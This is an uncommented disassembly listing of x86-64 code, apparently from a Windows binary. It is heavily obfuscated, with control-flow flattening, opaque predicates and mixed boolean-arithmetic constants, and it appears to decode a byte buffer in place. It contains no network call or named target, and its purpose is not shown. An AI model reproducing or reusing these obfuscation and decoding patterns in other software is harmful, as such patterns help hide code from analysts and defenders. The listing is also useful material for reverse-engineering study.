mov ecx, 0x56ab6a0
jmp 0x14003d530
cmp eax, 0xb7633e00
jg 0x14003d660
cmp eax, 0x9a0207dc
jle 0x14003d6f2
cmp eax, 0xa1a955d0
jle 0x14003d80a
cmp eax, 0xaef00e70
jg 0x14003d9e8
cmp eax, 0xa1a955d1
je 0x14003dc82
cmp eax, 0xa4c297a2
jne 0x14003d53d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf130480a
mov ecx, 0x89a242b2
jmp 0x14003d530
cmp eax, 0x28f8e7f9
jle 0x14003d74b
cmp eax, 0x3548ed16
jle 0x14003d849
cmp eax, 0x383d24c3
jg 0x14003da08
cmp eax, 0x3548ed17
je 0x14003dcb6
cmp eax, 0x38010efa
jne 0x14003d53d
mov qword [rbp + 0x40], r11
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe3e2d3b3
mov ecx, 0x8582c309
jmp 0x14003d530
cmp eax, 0xd4c9a55c
jle 0x14003d795
cmp eax, 0xe3e2d3b2
jle 0x14003d87f
cmp eax, 0xe8bf1131
jg 0x14003da3c
cmp eax, 0xe3e2d3b3
je 0x14003dcc0
cmp eax, 0xe8706593
jne 0x14003d53d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3548ed17
mov ecx, 0x383d24c4
jmp 0x14003d530
cmp eax, 0x74ef2dd8
jle 0x14003d8be
cmp eax, 0x7862d6f4
jg 0x14003da70
cmp eax, 0x74ef2dd9
je 0x14003dcca
cmp eax, 0x76a01761
jne 0x14003d53d
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov eax, 0x7862d6f5
jmp 0x14003d53d
cmp eax, 0x8cbae95a
jle 0x14003d8e9
cmp eax, 0x9771075a
jle 0x14003dc3d
cmp eax, 0x9771075b
je 0x14003dcd4
cmp eax, 0x988c5a5b
jne 0x14003d53d
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
add rax, 1
mov rcx, qword [rbp + 0x58]
mov qword [rcx], rax
mov eax, 0x9a93d6f7
jmp 0x14003d53d
cmp eax, 0x9e52667
jg 0x14003d914
cmp eax, 0xf130480a
je 0x14003dce2
cmp eax, 0xf8282498
je 0x14003dcf0
cmp eax, 0x56ab6a0
jne 0x14003d53d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcec14fc7
mov ecx, 0xca2aa47c
jmp 0x14003d530
cmp eax, 0xcec14fc6
jg 0x14003d953
cmp eax, 0xb7633e01
je 0x14003dd06
cmp eax, 0xbd590664
je 0x14003dd14
cmp eax, 0xca2aa47c
jne 0x14003d53d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcec14fc7
mov ecx, 0x9d093714
jmp 0x14003d530
cmp eax, 0x3d27c40f
je 0x14003dd32
cmp eax, 0x3d57c85c
je 0x14003dd50
cmp eax, 0x4049e1a1
jne 0x14003d53d
mov eax, 0x3065742d
jmp 0x14003d53d
cmp eax, 0x9a0207dd
je 0x14003dd6e
cmp eax, 0x9a93d6f7
je 0x14003d507
cmp eax, 0x9d093714
jne 0x14003d53d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x746a711d
mov ecx, 0xf8282498
jmp 0x14003d530
cmp eax, 0x28f8e7fa
je 0x14003dd78
cmp eax, 0x3065742d
je 0x14003dd96
cmp eax, 0x32a3cf92
jne 0x14003d53d
mov rax, qword [rbp + 0x58]
mov qword [rax], 0
mov eax, 0x62e61b4c
jmp 0x14003d53d
cmp eax, 0xd4c9a55d
je 0x14003ddc8
cmp eax, 0xd4ce6052
je 0x14003ddd6
cmp eax, 0xdf71f794
jne 0x14003d53d
mov cl, byte [rbp + 0x1f]
cmp byte [rbp + 0x1e], 0
mov eax, 0x4049e1a1
mov edx, 0x3065742d
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x14003d53d
cmp eax, 0x69d5c2be
je 0x14003ddf4
cmp eax, 0x72fc1027
je 0x14003de1e
cmp eax, 0x746a711d
jne 0x14003d53d
mov eax, 0x56ab6a0
jmp 0x14003d53d
cmp eax, 0x8582c309
je 0x14003de3c
cmp eax, 0x89a242b2
je 0x14003de46
cmp eax, 0x8a63bb18
jne 0x14003d53d
mov eax, 0x4b18584f
jmp 0x14003d53d
cmp eax, 0x9e52668
je 0x14003de64
cmp eax, 0x1dc66492
je 0x14003e01d
cmp eax, 0x2753fdcb
jne 0x14003d53d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8a63bb18
mov ecx, 0x4b18584f
jmp 0x14003d530
cmp eax, 0xcec14fc7
je 0x14003e027
cmp eax, 0xd0cc8406
je 0x14003e031
cmp eax, 0xd42690e8
jne 0x14003d53d
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov al, byte [r11 + rax]
mov byte [rbp + 0x67], al
mov eax, 0xed3034e3
jmp 0x14003d53d
cmp eax, 0x62dd269c
je 0x14003e03b
cmp eax, 0x62e61b4c
jne 0x14003d53d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1400611bc], 0xa
setge dl
xor al, dl
mov ebx, eax
xor bl, 1
and cl, dl
or cl, bl
xor cl, al
mov eax, 0x76a01761
mov ecx, 0x7862d6f5
cmovne eax, ecx
jmp 0x14003d53d
cmp eax, 0xaef00e71
je 0x14003e045
cmp eax, 0xb0c52422
jne 0x14003d53d
mov eax, 0x32a3cf92
jmp 0x14003d53d
cmp eax, 0x383d24c4
je 0x14003e06f
cmp eax, 0x39efa06e
jne 0x14003d53d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb7633e01
mov ecx, 0x69d5c2be
jmp 0x14003d530
cmp eax, 0xe8bf1132
je 0x14003e08d
cmp eax, 0xed3034e3
jne 0x14003d53d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9e52668
mov ecx, 0x7fa07399
jmp 0x14003d530
cmp eax, 0x7862d6f5
je 0x14003e097
cmp eax, 0x7fa07399
jne 0x14003d53d
mov r12, qword [rbp + 0x28]
movzx r15d, byte [rbp + 0x67]
mov ecx, dword [0x1400611c0]
mov edx, dword [0x1400611c4]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete cl
sete byte [rbp + 0x76]
movabs rsi, 0x20d55fbb577198a0
lea r14, [r12 + rsi]
movabs rsi, 0x1f2aa044a88e675f
sub rsi, r12
movabs rdi, 0xa0d55fbb577198a0
add r12, rdi
movabs rdi, 0x24fa2630beb1be2e
and rsi, rdi
movabs rdi, 0x5b05d9cf414e41d1
and r14, rdi
or r14, rsi
cmp edx, 0xa
setl dl
setl byte [rbp + 0x77]
setge sil
or dl, cl
mov ebx, 0x8c14fb0b
mov edx, 0x873bf760
cmovne ebx, edx
mov r13d, 0x1dd6f415
mov edx, 0x674ae438
cmovne r13d, edx
xor cl, sil
mov edx, ecx
xor dl, 1
and al, sil
or al, dl
xor al, cl
mov r8d, 0x1dd6f415
mov eax, 0xb97238e3
cmovne r8d, eax
mov ecx, 0x13679cf1
jmp 0x14003db50
mov ecx, 0xcbdf0816
nop word cs:[rax + rax]
mov eax, ecx
cmp ecx, 0x13679cf0
jle 0x14003db90
cmp eax, 0x2a0b524b
jle 0x14003dbb0
mov ecx, ebx
cmp eax, 0x674ae438
je 0x14003db50
mov ecx, r8d
cmp eax, 0x7bae5e91
je 0x14003db50
mov ecx, eax
cmp eax, 0x2a0b524c
jne 0x14003db50
jmp 0x14003e0c0
cmp eax, 0xb97238e2
jg 0x14003dbd0
cmp eax, 0x873bf760
je 0x14003db41
mov ecx, eax
cmp eax, 0x8c14fb0b
jne 0x14003db50
mov ecx, 0x7bae5e91
jmp 0x14003db50
cmp eax, 0x13679cf1
je 0x14003dc12
mov ecx, eax
cmp eax, 0x1dd6f415
jne 0x14003db50
mov ecx, 0xb97238e3
jmp 0x14003db50
cmp eax, 0xb97238e3
je 0x14003dc31
mov ecx, eax
cmp eax, 0xcbdf0816
jne 0x14003db50
mov rsi, qword [rbp + 0x50]
add rsi, r12
mov rax, qword [rbp + 0x50]
mov rdx, r14
xor rdx, rax
movabs rcx, 0x5b05d9cf414e41d1
xor rdx, rcx
and rdx, rax
add rdx, rdx
mov ecx, 0x2a0b524c
jmp 0x14003db50
movzx eax, byte [rbp + 0x76]
cmp byte [rbp + 0x77], 0
mov ecx, 0x8c14fb0b
mov edi, 0x7bae5e91
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x14003db50
mov qword [rbp + 0x50], r15
mov ecx, r13d
jmp 0x14003db50
cmp eax, 0x91b9c7e8
jne 0x14003e144
mov eax, 0x3d27c40f
jmp 0x14003d53d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe8bf1132
mov ecx, 0x8a63bb18
cmovne eax, ecx
cmp dword [0x1400611bc], 0xa
mov ecx, 0xe8bf1132
cmovl eax, ecx
jmp 0x14003d53d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1400611bc], 0xa
setl dl
xor cl, dl
and al, dl
xor al, cl
mov eax, 0x3d57c85c
mov ecx, 0x74ef2dd9
cmovne eax, ecx
jmp 0x14003d53d
mov eax, 0x383d24c4
jmp 0x14003d53d
mov eax, 0x38010efa
jmp 0x14003d53d
mov eax, 0x3d57c85c
jmp 0x14003d53d
mov rax, qword [rbp + 0x68]
mov eax, 0xaef00e71
jmp 0x14003d53d
mov rax, qword [rbp + 0x68]
mov eax, 0x89a242b2
jmp 0x14003d53d
cmp byte [rbp + 0x37], 0
mov eax, 0xd4c9a55d
mov ecx, 0xd42690e8
cmovne eax, ecx
jmp 0x14003d53d
mov rax, qword [rbp + 0x58]
mov eax, 0x69d5c2be
jmp 0x14003d53d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe3e2d3b3
mov ecx, 0x38010efa
jmp 0x14003d530
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x91b9c7e8
mov ecx, 0xa4c297a2
jmp 0x14003d530
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x74ef2dd9
mov ecx, 0x5f2b4794
jmp 0x14003d530
mov eax, 0x39efa06e
jmp 0x14003d53d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x988c5a5b
mov ecx, 0x9a93d6f7
jmp 0x14003d530
mov eax, 0x10
call fcn.14005ed70
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x58], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4049e1a1
mov ecx, 0x9a0207dd
jmp 0x14003d530
mov rax, qword [rbp + 0x48]
mov eax, 0xe8706593
jmp 0x14003d53d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x91b9c7e8
mov ecx, 0x3d27c40f
jmp 0x14003d530
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb7633e01
mov ecx, 0xb0c52422
jmp 0x14003d530
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf130480a
mov ecx, 0x2753fdcb
jmp 0x14003d530
mov eax, 0x8cbae95b
jmp 0x14003d53d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9771075b
mov ecx, 0xaef00e71
jmp 0x14003d530
mov r12, qword [rbp + 0x28]
movzx r15d, byte [rbp + 0x67]
mov ecx, dword [0x1400611c0]
mov edx, dword [0x1400611c4]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete cl
sete byte [rbp + 0x76]
movabs rsi, 0x20d55fbb577198a0
lea r14, [r12 + rsi]
movabs rsi, 0x1f2aa044a88e675f
sub rsi, r12
movabs rdi, 0xa0d55fbb577198a0
add r12, rdi
movabs rdi, 0x24fa2630beb1be2e
and rsi, rdi
movabs rdi, 0x5b05d9cf414e41d1
and r14, rdi
or r14, rsi
cmp edx, 0xa
setl dl
setl byte [rbp + 0x77]
setge sil
or dl, cl
mov ebx, 0x8c14fb0b
mov edx, 0x873bf760
cmovne ebx, edx
mov r13d, 0x1dd6f415
mov edx, 0x674ae438
cmovne r13d, edx
xor cl, sil
mov edx, ecx
xor dl, 1
and al, sil
or al, dl
xor al, cl
mov r8d, 0x1dd6f415
mov eax, 0xb97238e3
cmovne r8d, eax
mov ecx, 0x13679cf1
jmp 0x14003df30
mov ecx, 0xcbdf0816
nop word cs:[rax + rax]
nop
mov eax, ecx
cmp ecx, 0x13679cf0
jle 0x14003df70
cmp eax, 0x2a0b524b
jle 0x14003df90
mov ecx, ebx
cmp eax, 0x674ae438
je 0x14003df30
mov ecx, r8d
cmp eax, 0x7bae5e91
je 0x14003df30
mov ecx, eax
cmp eax, 0x2a0b524c
jne 0x14003df30
jmp 0x14003e10e
cmp eax, 0xb97238e2
jg 0x14003dfb0
cmp eax, 0x873bf760
je 0x14003df1f
mov ecx, eax
cmp eax, 0x8c14fb0b
jne 0x14003df30
mov ecx, 0x7bae5e91
jmp 0x14003df30
cmp eax, 0x13679cf1
je 0x14003dff2
mov ecx, eax
cmp eax, 0x1dd6f415
jne 0x14003df30
mov ecx, 0xb97238e3
jmp 0x14003df30
cmp eax, 0xb97238e3
je 0x14003e011
mov ecx, eax
cmp eax, 0xcbdf0816
jne 0x14003df30
mov rsi, qword [rbp + 0x50]
add rsi, r12
mov rax, qword [rbp + 0x50]
mov rdx, r14
xor rdx, rax
movabs rcx, 0x5b05d9cf414e41d1
xor rdx, rcx
and rdx, rax
add rdx, rdx
mov ecx, 0x2a0b524c
jmp 0x14003df30
movzx eax, byte [rbp + 0x76]
cmp byte [rbp + 0x77], 0
mov ecx, 0x8c14fb0b
mov edi, 0x7bae5e91
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x14003df30
mov qword [rbp + 0x50], r15
mov ecx, r13d
jmp 0x14003df30
mov eax, 0x62e61b4c
jmp 0x14003d53d
mov eax, 0xca2aa47c
jmp 0x14003d53d
mov eax, 0xd4ce6052
jmp 0x14003d53d
mov eax, 0x28f8e7fa
jmp 0x14003d53d
mov rax, qword [rbp + 0x68]
cmp rax, 0x19
setb byte [rbp + 0x37]
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9771075b
mov ecx, 0x72fc1027
jmp 0x14003d530
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3548ed17
mov ecx, 0xbd590664
jmp 0x14003d530
mov eax, 0xa1a955d1
jmp 0x14003d53d
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x68], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x76a01761
mov ecx, 0xd0cc8406
jmp 0x14003d530
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x80], rdx
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
sub eax, ecx
add al, 0xa0
mov rcx, qword [rbp + 0x58]
mov rcx, qword [rcx]
mov byte [r11 + rcx], al
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x38], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9e52668
mov ecx, 0x62dd269c
jmp 0x14003d530
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x80], rdx
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
sub eax, ecx
add al, 0xa0
mov rcx, qword [rbp + 0x58]
mov rcx, qword [rcx]
mov byte [r11 + rcx], al
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov eax, 0x7fa07399
jmp 0x14003d53d
cmp eax, 0x8cbae95b
jne 0x14003d53d
mov rax, qword [rbp + 0x40]
mov eax, 0x45ebc2ad
mov rsp, r10
jmp 0x14003ba4e
mov r10, rsp
mov r11, qword [rbp + 0x10]
mov eax, dword [0x1400611b8]
mov ecx, dword [0x1400611bc]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x1f]
cmp ecx, 0xa
setl byte [rbp + 0x1e]
mov eax, 0xdf71f794
jmp 0x14003e1cd
mov rax, qword [rbp + 0x38]
add rax, 1
mov rcx, qword [rbp + 0x58]
mov qword [rcx], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x988c5a5b
mov ecx, 0x1dc66492
nop word cs:[rax + rax]
cmove eax, ecx
cmp dword [0x1400611bc], 0xa
cmovl eax, ecx
cmp eax, 0xf1304809
jle 0x14003e230
cmp eax, 0x3d27c40e
jle 0x14003e290
cmp eax, 0x69d5c2bd
jg 0x14003e345
cmp eax, 0x4b18584e
jle 0x14003e46f
cmp eax, 0x62dd269b
jg 0x14003e627
cmp eax, 0x4b18584f
je 0x14003e8e2
cmp eax, 0x5f2b4794
jne 0x14003e1cd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x746a711d
mov ecx, 0x56ab6a0
jmp 0x14003e1c0
cmp eax, 0xb7633e00
jg 0x14003e2f0
cmp eax, 0x9a0207dc
jle 0x14003e382
cmp eax, 0xa1a955d0
jle 0x14003e49a
cmp eax, 0xaef00e70
jg 0x14003e678
cmp eax, 0xa1a955d1
je 0x14003e912
cmp eax, 0xa4c297a2
jne 0x14003e1cd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf130480a
mov ecx, 0x89a242b2
jmp 0x14003e1c0
cmp eax, 0x28f8e7f9
jle 0x14003e3db
cmp eax, 0x3548ed16
jle 0x14003e4d9
cmp eax, 0x383d24c3
jg 0x14003e698
cmp eax, 0x3548ed17
je 0x14003e946
cmp eax, 0x38010efa
jne 0x14003e1cd
mov qword [rbp + 0x40], r11
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe3e2d3b3
mov ecx, 0x8582c309
jmp 0x14003e1c0
cmp eax, 0xd4c9a55c
jle 0x14003e425
cmp eax, 0xe3e2d3b2
jle 0x14003e50f
cmp eax, 0xe8bf1131
jg 0x14003e6cc
cmp eax, 0xe3e2d3b3
je 0x14003e950
cmp eax, 0xe8706593
jne 0x14003e1cd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3548ed17
mov ecx, 0x383d24c4
jmp 0x14003e1c0
cmp eax, 0x74ef2dd8
jle 0x14003e54e
cmp eax, 0x7862d6f4
jg 0x14003e700
cmp eax, 0x74ef2dd9
je 0x14003e95a
cmp eax, 0x76a01761
jne 0x14003e1cd
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov eax, 0x7862d6f5
jmp 0x14003e1cd
cmp eax, 0x8cbae95a
jle 0x14003e579
cmp eax, 0x9771075a
jle 0x14003e8cd
cmp eax, 0x9771075b
je 0x14003e964
cmp eax, 0x988c5a5b
jne 0x14003e1cd
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
add rax, 1
mov rcx, qword [rbp + 0x58]
mov qword [rcx], rax
mov eax, 0x9a93d6f7
jmp 0x14003e1cd
cmp eax, 0x9e52667
jg 0x14003e5a4
cmp eax, 0xf130480a
je 0x14003e972
cmp eax, 0xf8282498
je 0x14003e980
cmp eax, 0x56ab6a0
jne 0x14003e1cd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcec14fc7
mov ecx, 0xca2aa47c
jmp 0x14003e1c0
cmp eax, 0xcec14fc6
jg 0x14003e5e3
cmp eax, 0xb7633e01
je 0x14003e996
cmp eax, 0xbd590664
je 0x14003e9a4
cmp eax, 0xca2aa47c
jne 0x14003e1cd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcec14fc7
mov ecx, 0x9d093714
jmp 0x14003e1c0
cmp eax, 0x3d27c40f
je 0x14003e9c2
cmp eax, 0x3d57c85c
je 0x14003e9e0
cmp eax, 0x4049e1a1
jne 0x14003e1cd
mov eax, 0x3065742d
jmp 0x14003e1cd
cmp eax, 0x9a0207dd
je 0x14003e9fe
cmp eax, 0x9a93d6f7
je 0x14003e18e
cmp eax, 0x9d093714
jne 0x14003e1cd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x746a711d
mov ecx, 0xf8282498
jmp 0x14003e1c0
cmp eax, 0x28f8e7fa
je 0x14003ea08
cmp eax, 0x3065742d
je 0x14003ea26
cmp eax, 0x32a3cf92
jne 0x14003e1cd
mov rax, qword [rbp + 0x58]
mov qword [rax], 0
mov eax, 0x62e61b4c
jmp 0x14003e1cd
cmp eax, 0xd4c9a55d
je 0x14003ea58
cmp eax, 0xd4ce6052
je 0x14003ea66
cmp eax, 0xdf71f794
jne 0x14003e1cd
mov cl, byte [rbp + 0x1f]
cmp byte [rbp + 0x1e], 0
mov eax, 0x4049e1a1
mov edx, 0x3065742d
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x14003e1cd
cmp eax, 0x69d5c2be
je 0x14003ea84
cmp eax, 0x72fc1027
je 0x14003eaae
cmp eax, 0x746a711d
jne 0x14003e1cd
mov eax, 0x56ab6a0
jmp 0x14003e1cd
cmp eax, 0x8582c309
je 0x14003eacc
cmp eax, 0x89a242b2
je 0x14003ead6
cmp eax, 0x8a63bb18
jne 0x14003e1cd
mov eax, 0x4b18584f
jmp 0x14003e1cd
cmp eax, 0x9e52668
je 0x14003eaf4
cmp eax, 0x1dc66492
je 0x14003ecad
cmp eax, 0x2753fdcb
jne 0x14003e1cd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8a63bb18
mov ecx, 0x4b18584f
jmp 0x14003e1c0
cmp eax, 0xcec14fc7
je 0x14003ecb7
cmp eax, 0xd0cc8406
je 0x14003ecc1
cmp eax, 0xd42690e8
jne 0x14003e1cd
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov al, byte [r11 + rax]
mov byte [rbp + 0x67], al
mov eax, 0xed3034e3
jmp 0x14003e1cd
cmp eax, 0x62dd269c
je 0x14003eccb
cmp eax, 0x62e61b4c
jne 0x14003e1cd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1400611bc], 0xa
setge dl
xor al, dl
mov ebx, eax
xor bl, 1
and cl, dl
or cl, bl
xor cl, al
mov eax, 0x76a01761
mov ecx, 0x7862d6f5
cmovne eax, ecx
jmp 0x14003e1cd
cmp eax, 0xaef00e71
je 0x14003ecd5
cmp eax, 0xb0c52422
jne 0x14003e1cd
mov eax, 0x32a3cf92
jmp 0x14003e1cd
cmp eax, 0x383d24c4
je 0x14003ecff
cmp eax, 0x39efa06e
jne 0x14003e1cd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb7633e01
mov ecx, 0x69d5c2be
jmp 0x14003e1c0
cmp eax, 0xe8bf1132
je 0x14003ed1d
cmp eax, 0xed3034e3
jne 0x14003e1cd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9e52668
mov ecx, 0x7fa07399
jmp 0x14003e1c0
cmp eax, 0x7862d6f5
je 0x14003ed27
cmp eax, 0x7fa07399
jne 0x14003e1cd
mov r12, qword [rbp + 0x28]
movzx r15d, byte [rbp + 0x67]
mov ecx, dword [0x1400611c0]
mov edx, dword [0x1400611c4]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete cl
sete byte [rbp + 0x76]
movabs rsi, 0x20d55fbb577198a0
lea r14, [r12 + rsi]
movabs rsi, 0x1f2aa044a88e675f
sub rsi, r12
movabs rdi, 0xa0d55fbb577198a0
add r12, rdi
movabs rdi, 0x24fa2630beb1be2e
and rsi, rdi
movabs rdi, 0x5b05d9cf414e41d1
and r14, rdi
or r14, rsi
cmp edx, 0xa
setl dl
setl byte [rbp + 0x77]
setge sil
or dl, cl
mov ebx, 0x8c14fb0b
mov edx, 0x873bf760
cmovne ebx, edx
mov r13d, 0x1dd6f415
mov edx, 0x674ae438
cmovne r13d, edx
xor cl, sil
mov edx, ecx
xor dl, 1
and al, sil
or al, dl
xor al, cl
mov r8d, 0x1dd6f415
mov eax, 0xb97238e3
cmovne r8d, eax
mov ecx, 0x13679cf1
jmp 0x14003e7e0
mov ecx, 0xcbdf0816
nop word cs:[rax + rax]
mov eax, ecx
cmp ecx, 0x13679cf0
jle 0x14003e820
cmp eax, 0x2a0b524b
jle 0x14003e840
mov ecx, ebx
cmp eax, 0x674ae438
je 0x14003e7e0
mov ecx, r8d
cmp eax, 0x7bae5e91
je 0x14003e7e0
mov ecx, eax
cmp eax, 0x2a0b524c
jne 0x14003e7e0
jmp 0x14003ed50
cmp eax, 0xb97238e2
jg 0x14003e860
cmp eax, 0x873bf760
je 0x14003e7d1
mov ecx, eax
cmp eax, 0x8c14fb0b
jne 0x14003e7e0
mov ecx, 0x7bae5e91
jmp 0x14003e7e0
cmp eax, 0x13679cf1
je 0x14003e8a2
mov ecx, eax
cmp eax, 0x1dd6f415
jne 0x14003e7e0
mov ecx, 0xb97238e3
jmp 0x14003e7e0
cmp eax, 0xb97238e3
je 0x14003e8c1
mov ecx, eax
cmp eax, 0xcbdf0816
jne 0x14003e7e0
mov rsi, qword [rbp + 0x50]
add rsi, r12
mov rax, qword [rbp + 0x50]
mov rdx, r14
xor rdx, rax
movabs rcx, 0x5b05d9cf414e41d1
xor rdx, rcx
and rdx, rax
add rdx, rdx
mov ecx, 0x2a0b524c
jmp 0x14003e7e0
movzx eax, byte [rbp + 0x76]
cmp byte [rbp + 0x77], 0
mov ecx, 0x8c14fb0b
mov edi, 0x7bae5e91
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x14003e7e0
mov qword [rbp + 0x50], r15
mov ecx, r13d
jmp 0x14003e7e0
cmp eax, 0x91b9c7e8
jne 0x14003edd4
mov eax, 0x3d27c40f
jmp 0x14003e1cd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe8bf1132
mov ecx, 0x8a63bb18
cmovne eax, ecx
cmp dword [0x1400611bc], 0xa
mov ecx, 0xe8bf1132
cmovl eax, ecx
jmp 0x14003e1cd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1400611bc], 0xa
setl dl
xor cl, dl
and al, dl
xor al, cl
mov eax, 0x3d57c85c
mov ecx, 0x74ef2dd9
cmovne eax, ecx
jmp 0x14003e1cd
mov eax, 0x383d24c4
jmp 0x14003e1cd
mov eax, 0x38010efa
jmp 0x14003e1cd
mov eax, 0x3d57c85c
jmp 0x14003e1cd
mov rax, qword [rbp + 0x68]
mov eax, 0xaef00e71
jmp 0x14003e1cd
mov rax, qword [rbp + 0x68]
mov eax, 0x89a242b2
jmp 0x14003e1cd
cmp byte [rbp + 0x37], 0
mov eax, 0xd4c9a55d
mov ecx, 0xd42690e8
cmovne eax, ecx
jmp 0x14003e1cd
mov rax, qword [rbp + 0x58]
mov eax, 0x69d5c2be
jmp 0x14003e1cd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe3e2d3b3
mov ecx, 0x38010efa
jmp 0x14003e1c0
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x91b9c7e8
mov ecx, 0xa4c297a2
jmp 0x14003e1c0
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x74ef2dd9
mov ecx, 0x5f2b4794
jmp 0x14003e1c0
mov eax, 0x39efa06e
jmp 0x14003e1cd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x988c5a5b
mov ecx, 0x9a93d6f7
jmp 0x14003e1c0
mov eax, 0x10
call fcn.14005ed70
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x58], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
